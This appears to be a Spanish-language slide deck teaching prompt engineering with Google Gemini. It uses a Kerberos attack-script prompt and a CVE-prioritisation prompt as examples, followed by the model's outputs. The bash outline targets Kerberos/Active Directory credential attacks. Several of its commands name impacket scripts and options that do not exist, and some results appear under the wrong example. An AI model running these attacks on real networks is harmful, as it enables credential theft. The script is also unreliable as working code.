

Prompting

Puntos a considerar:

1. Definir el propósito y objetivo del Prompt.
2. Comprender a quién va dirigido (audiencia).
3. Contextualizar la petición y dar información relevante.
4. Incluir algún ejemplo
5. Elegir la formalidad adecuada a la situación.
6. Formular de forma específica y concisa.

Formulación de Prompt

Partes que debe incluir el prompt:

0

ROL

1

Que tomará Gemini al atender la petición

0

CONTEXTO

2

Información del usuario que formula el prompt

0

INSTRUCCIONES

3

La tarea concisa que queremos que sea realizada

Formulación de Prompt

Partes que debe incluir el prompt:

0
4

FORMATO

Cómo la salida debe ser representada.

0
5

EJEMPLO

Modelo de lo que se espera como salida.

0
6

TONO

Cómo debe ser el ánimo o la presentación para la tarea asignada



Promptin

g

Con Gemini de Google

Formulación del Prompt

Prompt =

[Rol] + [Contexto] +
[Instrucciones] + [Formato] +
[Ejemplo] + [Tono] + [Detalle]

Ejemplo

Prompt =

[**Rol**: Tienes experiencia como auditor de seguridad de red] + [**Contexto**: Estás realizando la auditoría a una red interna que tiene un activo con el servicio de kerberos habilitado] + [**Instrucciones**: Realizar un script en bash que explote exhaustivamente por lo menos las siguientes vulnerabilidades sobre el protocolo: ASP-REP Roasting, Kerberoasting, Pass-the-ticket, Silver ticket y Golden Ticket attacks] + [**Formato**: comandos bash que realizan desde la instalación de herramientas externas en python hasta el proceso de acceso inicial.] + [**Ejemplo**: Fases del script: reconocimiento + enumeración + explotación] + [**Tono**: Neutral] + [**X**: El objetivo es la generación completa del script, no la explicación de los ataques.]

Ejemplo

Prompt = [Role: You are an experienced network security auditor] + [Context: You are auditing an internal network that has an asset with the Kerberos service enabled] + [Instructions: Create a bash script that comprehensively confirms at least the following protocol vulnerabilities: ASP-REP Roasting, Kerberoasting, Pass-the-ticket, Silver ticket, and Golden Ticket] + [Format: Bash commands in order to perform every listed test and every stage from installing impacket python package until the initial access process.] + [Example: Phases: reconnaissance + enumeration + exploitation] + [Tone: Neutral] + [X: Focus on the script.]

Resultados

CVE_ID	Priority	EPSS	CVSS	Publication Date	Severity_Level	CIS
CVE-2023-48795	3	N/A	5.9	2023/12/27	Unknown	Fals
CVE-2023-48795	3	N/A	6.5	2023/12/22	Informational	Fals
CVE-2023-51384	3	N/A	6.5	2023/12/22	Informational	Fals
CVE-2023-51385	3	N/A	6.5	2023/12/22	Informational	Fals
CVE-1999-0512	2	N/A	7.5	1999/06/22	Unknown	Fals
CVE-2002-1278	2	N/A	7.5	1999/06/22	Unknown	Fals
CVE-2003-0285	2	N/A	7.5	1999/06/22	Unknown	Fals

Ejemplo 2

Prompt =

[**Rol**: Tienes experiencia como auditor de cumplimiento y regulación] + [**Contexto**: Estás realizando la auditoría a un sistema que tiene N número de vulnerabilidades detectadas y listadas por severidad] + [**Instrucciones**: Lee el archivo de entrada, analízalo y después, transfórmalo para obtener la priorización de acuerdo a la metodología de CVE Prioritizer usada en la siguiente fuente: https://github.com/TURROKS/CVE_Prioritizer] + [**Formato**: Con el resultado del análisis, imprime una tabla con las siguientes columnas: Columna1= CVE_ID, Columna2= Priority Columna3= EPSS, Columna4= CVSS, Columna5= Version, Columna6= Severidad, Columna7= CISA_KEY.] + [**Ejemplo**: CVE-2020-4657, Priority 4, 0.00063, 6.1, CVSS 3.1, Medium, False] + [**Tono**: Neutral] + [**X**: El objetivo es la generación de la tabla.]

Ejemplo 2

Prompt =

[**Role**: You have experience as a compliance and regulatory auditor] + [**Context**: You are auditing a system that has N number of vulnerabilities detected and listed by severity] + [**Instructions**: Read the input information, analyze it in order to transform it according to CVE Prioritizer methodology to generate the corresponding output table using as source:

https://github.com/TURROKS/CVE_Prioritizer] +

[**Format**: print a table with vulnerabilities order and prioritized with following columns: Column1= CVE_ID, Column2= Priority Column3= EPSS, Column4= CVSS, Column5= Version, Column6=Severity,

Column7=CISA_KEY.] + [**Example**: CVE-2020-4657, Priority 4, 0.00063, 6.1, CVSS 3.1, Medium, False] +

[**Tone**: Neutral] + [**X**: The objective is the generation of the table.]

Resultados

Bash Script Outline:

Bash

#!/bin/bash

Phase: Reconnaissance

Identify Kerberos-enabled services and users

Assuming you have a list of potential hosts in a file named hosts.txt
for host in \$(cat hosts.txt); do

 # Use tools like nmap or rpcclient to identify Kerberos services and users

 nmap -sV -p 88 \$host

 rpcclient -U "" -N \$host klist

done

Phase: Enumeration

Gather information about user accounts and service principals

Assuming you have a list of potential users in a file named users.txt
for user in \$(cat users.txt); do

 # Use tools like klist or impacket to gather information

 klist -s \$user

 python3 /path/to/impacket/examples/secretsdump.py -hashes::NTLM -outputfile

\$user.hashes \$host

done

Phase: Exploitation

Install impacket (replace with appropriate package manager)

pip install impacket

ASP-REP Roasting

Assuming a list of service principals in a file named services.txt
for service in \$(cat services.txt); do

 python3 /path/to/impacket/examples/asreproast.py \$host:\$service

done

Resultados

```
# Kerberoasting
# Assuming cracked hashes are in files named *.hashes
for hashfile in *.hashes; do
    python3 /path/to/impacket/examples/kerberoast.py -hashes $hashfile
done

# Pass-the-Ticket
# Assuming a captured ticket is in a file named ticket.kirbi
python3 /path/to/impacket/examples/pth.py -k ticket.kirbi

# Silver Ticket
# Requires domain knowledge and privilege escalation
# Example:
# python3 /path/to/impacket/examples/silverticket.py -dc-ip 192.168.1.100
# -user user@domain.local -sid 0x1234567890ABCDEF

# Golden Ticket
# Requires domain control and extremely high privileges
# Example:
# python3 /path/to/impacket/examples/goldenticket.py -dc-ip 192.168.1.100
# -user user@domain.local -sid 0x1234567890ABCDEF -start-time 1680000000
# -end-time 2680000000

# Additional notes:
# - Replace placeholders like /path/to/impacket with the actual path.
# - Adjust the script based on your specific environment and targets.
# - Consider using more advanced techniques and tools for in-depth analysis.
# - Always prioritize ethical and legal considerations.
```